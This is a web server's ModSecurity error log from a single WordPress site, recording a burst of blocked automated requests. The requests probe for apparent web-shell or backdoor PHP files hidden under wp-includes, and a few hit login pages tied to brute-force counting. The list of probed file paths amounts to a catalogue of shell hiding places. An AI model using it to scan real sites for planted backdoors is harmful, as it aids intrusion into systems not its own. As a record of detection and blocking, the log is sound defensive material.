[Mon Mar 02 19:22:49.691520 2026] [:error] [pid 59701:tid 59727] [client 45.8.17.71:33253] [client 45.8.17.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "aaVzCeUmTDVso96U9_K9dwAAARc"]
[Mon Mar 02 19:22:51.353103 2026] [:error] [pid 59602:tid 59677] [client 45.8.17.92:36875] [client 45.8.17.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "aaVzCzMtSo_Fr0lHnSY-nAAAAIw"]
[Mon Mar 02 19:22:54.028600 2026] [:error] [pid 59600:tid 59620] [client 45.8.17.50:63547] [client 45.8.17.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "aaVzDoQ5lE4yocV9IBch4AAAAAs"]
[Mon Mar 02 19:22:55.355149 2026] [:error] [pid 59602:tid 59688] [client 45.8.17.85:63303] [client 45.8.17.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "aaVzDzMtSo_Fr0lHnSY-sAAAAJc"]
[Mon Mar 02 19:22:56.699312 2026] [:error] [pid 59600:tid 59618] [client 45.8.17.98:46129] [client 45.8.17.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "aaVzEIQ5lE4yocV9IBch7gAAAAk"]
[Mon Mar 02 19:22:57.812543 2026] [:error] [pid 59602:tid 59673] [client 45.8.17.190:34163] [client 45.8.17.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "aaVzETMtSo_Fr0lHnSY-tQAAAIg"]
[Mon Mar 02 19:22:59.000598 2026] [:error] [pid 59734:tid 59736] [client 45.8.17.97:23155] [client 45.8.17.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "aaVzEpeWQx7ZQG9NybEIiQAAAUA"]
[Mon Mar 02 19:22:59.727645 2026] [:error] [pid 59601:tid 59649] [client 45.8.17.92:57301] [client 45.8.17.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "aaVzE8Q1lXfvWN0-ZQl9WAAAAEs"]
[Mon Mar 02 19:23:00.656961 2026] [:error] [pid 59734:tid 59756] [client 45.8.17.77:32625] [client 45.8.17.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "aaVzFJeWQx7ZQG9NybEIjwAAAVQ"]
[Mon Mar 02 19:23:03.389926 2026] [:error] [pid 28847:tid 28858] [client 45.8.17.81:42067] [client 45.8.17.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "aaVzF59xbBq8VfeqVDbztgAAAMk"]
[Mon Mar 02 19:23:07.328116 2026] [:error] [pid 28847:tid 28868] [client 45.8.17.82:55157] [client 45.8.17.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aaVzG59xbBq8VfeqVDbzwQAAANM"]
[Mon Mar 02 19:23:09.027385 2026] [:error] [pid 28847:tid 28863] [client 45.8.17.81:58295] [client 45.8.17.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aaVzHZ9xbBq8VfeqVDbzyQAAAM4"]
[Mon Mar 02 19:23:10.868428 2026] [:error] [pid 28847:tid 28858] [client 45.8.17.82:62587] [client 45.8.17.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aaVzHp9xbBq8VfeqVDbz1gAAAMk"]
[Mon Mar 02 19:23:15.364175 2026] [:error] [pid 59701:tid 59712] [client 45.8.17.100:41393] [client 45.8.17.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aaVzI-UmTDVso96U9_K9jQAAAQg"]
[Mon Mar 02 19:23:17.228155 2026] [:error] [pid 59602:tid 59688] [client 45.8.17.84:46475] [client 45.8.17.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aaVzJTMtSo_Fr0lHnSY-ywAAAJc"]
[Mon Mar 02 19:23:18.485043 2026] [:error] [pid 28847:tid 28871] [client 45.8.17.55:65493] [client 45.8.17.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aaVzJp9xbBq8VfeqVDbz6gAAANY"]
[Mon Mar 02 19:23:19.984604 2026] [:error] [pid 59602:tid 59684] [client 45.8.17.84:63541] [client 45.8.17.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aaVzJzMtSo_Fr0lHnSY-0wAAAJM"]
[Mon Mar 02 19:23:24.552736 2026] [:error] [pid 59602:tid 59668] [client 45.8.17.92:36451] [client 45.8.17.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aaVzLDMtSo_Fr0lHnSY-4QAAAIM"]
[Mon Mar 02 19:23:25.180351 2026] [:error] [pid 59601:tid 59662] [client 45.128.199.210:51245] [client 45.128.199.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aaVzLcQ1lXfvWN0-ZQl9aAAAAFg"]
[Mon Mar 02 19:23:26.775953 2026] [:error] [pid 59600:tid 59612] [client 45.8.17.54:23445] [client 45.8.17.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aaVzLoQ5lE4yocV9IBciUQAAAAM"]
[Mon Mar 02 19:23:27.385017 2026] [:error] [pid 28847:tid 28865] [client 45.8.17.149:63395] [client 45.8.17.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aaVzL59xbBq8VfeqVDbz8QAAANA"]
[Mon Mar 02 19:23:29.051542 2026] [:error] [pid 28847:tid 28857] [client 45.8.17.97:50819] [client 45.8.17.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aaVzMZ9xbBq8VfeqVDbz9wAAAMg"]
[Mon Mar 02 19:23:29.917424 2026] [:error] [pid 59701:tid 59715] [client 45.8.17.90:20897] [client 45.8.17.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aaVzMeUmTDVso96U9_K9mAAAAQs"]
[Mon Mar 02 19:23:30.665534 2026] [:error] [pid 59600:tid 59615] [client 45.8.17.78:21373] [client 45.8.17.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.78, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aaVzMoQ5lE4yocV9IBciYQAAAAY"]
[Mon Mar 02 19:23:30.676281 2026] [proxy_fcgi:error] [pid 59600:tid 59615] [client 45.8.17.78:21373] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:23:30.962269 2026] [:error] [pid 59600:tid 59627] [client 45.8.17.78:21373] [client 45.8.17.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aaVzMoQ5lE4yocV9IBciYgAAABI"]
[Mon Mar 02 19:23:32.890996 2026] [:error] [pid 28847:tid 28851] [client 45.8.17.79:25287] [client 45.8.17.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aaVzNJ9xbBq8VfeqVDb0BgAAAMI"]
[Mon Mar 02 19:23:34.593524 2026] [:error] [pid 28847:tid 28853] [client 45.8.17.67:64985] [client 45.8.17.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "aaVzNp9xbBq8VfeqVDb0DwAAAMQ"]
[Mon Mar 02 19:23:38.100721 2026] [:error] [pid 59600:tid 59618] [client 45.8.17.196:21819] [client 45.8.17.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aaVzOoQ5lE4yocV9IBcicQAAAAk"]
[Mon Mar 02 19:23:38.871322 2026] [:error] [pid 59701:tid 59707] [client 45.128.199.57:44475] [client 45.128.199.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aaVzOuUmTDVso96U9_K9oQAAAQM"]
[Mon Mar 02 19:23:40.222303 2026] [:error] [pid 59600:tid 59620] [client 45.8.17.190:25127] [client 45.8.17.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aaVzPIQ5lE4yocV9IBcieQAAAAs"]
[Mon Mar 02 19:23:41.197122 2026] [:error] [pid 59600:tid 59612] [client 45.8.17.98:57363] [client 45.8.17.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aaVzPYQ5lE4yocV9IBciewAAAAM"]
[Mon Mar 02 19:23:42.342222 2026] [proxy_fcgi:error] [pid 59602:tid 59686] [client 45.8.17.83:44601] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 19:23:42.706892 2026] [:error] [pid 59602:tid 59675] [client 45.8.17.83:44601] [client 45.8.17.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.8.17.83, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aaVzPjMtSo_Fr0lHnSY-8wAAAIo"]
[Mon Mar 02 19:23:43.413249 2026] [:error] [pid 59602:tid 59680] [client 45.8.17.83:44601] [client 45.8.17.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aaVzPzMtSo_Fr0lHnSY-9gAAAI8"]
[Mon Mar 02 19:23:46.055229 2026] [:error] [pid 28847:tid 28852] [client 45.8.17.66:62379] [client 45.8.17.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aaVzQp9xbBq8VfeqVDb0LAAAAMM"]
[Mon Mar 02 19:23:47.004779 2026] [:error] [pid 28847:tid 28868] [client 45.8.17.111:29001] [client 45.8.17.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aaVzQ59xbBq8VfeqVDb0MQAAANM"]
[Mon Mar 02 19:23:47.949898 2026] [:error] [pid 59600:tid 59625] [client 45.8.17.67:52329] [client 45.8.17.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aaVzQ4Q5lE4yocV9IBcihAAAABA"]
[Mon Mar 02 19:23:50.630981 2026] [:error] [pid 59601:tid 59645] [client 45.8.17.100:46101] [client 45.8.17.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aaVzRsQ1lXfvWN0-ZQl9eQAAAEc"]
[Mon Mar 02 19:23:51.860457 2026] [:error] [pid 59602:tid 59668] [client 45.8.17.50:26689] [client 45.8.17.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aaVzRzMtSo_Fr0lHnSY--gAAAIM"]
[Mon Mar 02 19:23:53.954407 2026] [:error] [pid 59600:tid 59623] [client 45.8.17.205:26027] [client 45.8.17.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aaVzSYQ5lE4yocV9IBcikwAAAA4"]
[Mon Mar 02 19:23:54.649425 2026] [:error] [pid 59602:tid 59670] [client 45.8.17.98:55989] [client 45.8.17.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aaVzSjMtSo_Fr0lHnSY-_QAAAIU"]
[Mon Mar 02 19:23:55.702053 2026] [:error] [pid 59701:tid 59717] [client 45.8.17.79:22483] [client 45.8.17.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "aaVzS-UmTDVso96U9_K9uwAAAQ0"]
[Mon Mar 02 19:23:59.655462 2026] [:error] [pid 28847:tid 28853] [client 45.8.17.85:61141] [client 45.8.17.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aaVzT59xbBq8VfeqVDb0SwAAAMQ"]
[Mon Mar 02 19:24:01.194450 2026] [:error] [pid 59602:tid 59687] [client 45.8.17.96:49553] [client 45.8.17.96] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "aaVzUTMtSo_Fr0lHnSY_DwAAAJY"]
[Mon Mar 02 19:24:01.514406 2026] [:error] [pid 59602:tid 59670] [client 45.8.17.96:49553] [client 45.8.17.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aaVzUTMtSo_Fr0lHnSY_EgAAAIU"]
[Mon Mar 02 19:24:03.947923 2026] [:error] [pid 28847:tid 28862] [client 45.8.17.74:35667] [client 45.8.17.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aaVzU59xbBq8VfeqVDb0WwAAAM0"]
[Mon Mar 02 19:24:04.618054 2026] [:error] [pid 28847:tid 28850] [client 45.8.17.90:44451] [client 45.8.17.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aaVzVJ9xbBq8VfeqVDb0XQAAAME"]
[Mon Mar 02 19:24:07.403673 2026] [:error] [pid 59701:tid 59708] [client 45.8.17.90:60669] [client 45.8.17.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aaVzV-UmTDVso96U9_K9zgAAAQQ"]
[Mon Mar 02 19:24:10.260954 2026] [:error] [pid 59701:tid 59704] [client 45.8.17.55:37283] [client 45.8.17.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aaVzWuUmTDVso96U9_K90gAAAQA"]
[Mon Mar 02 19:24:11.606851 2026] [:error] [pid 59601:tid 59644] [client 45.8.17.68:24887] [client 45.8.17.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aaVzW8Q1lXfvWN0-ZQl9fgAAAEY"]
[Mon Mar 02 19:24:14.509815 2026] [:error] [pid 59600:tid 59613] [client 45.8.17.70:33421] [client 45.8.17.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aaVzXoQ5lE4yocV9IBcitQAAAAQ"]
[Mon Mar 02 19:24:17.119007 2026] [:error] [pid 28847:tid 28852] [client 45.8.17.81:53665] [client 45.8.17.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aaVzYZ9xbBq8VfeqVDb0cgAAAMM"]
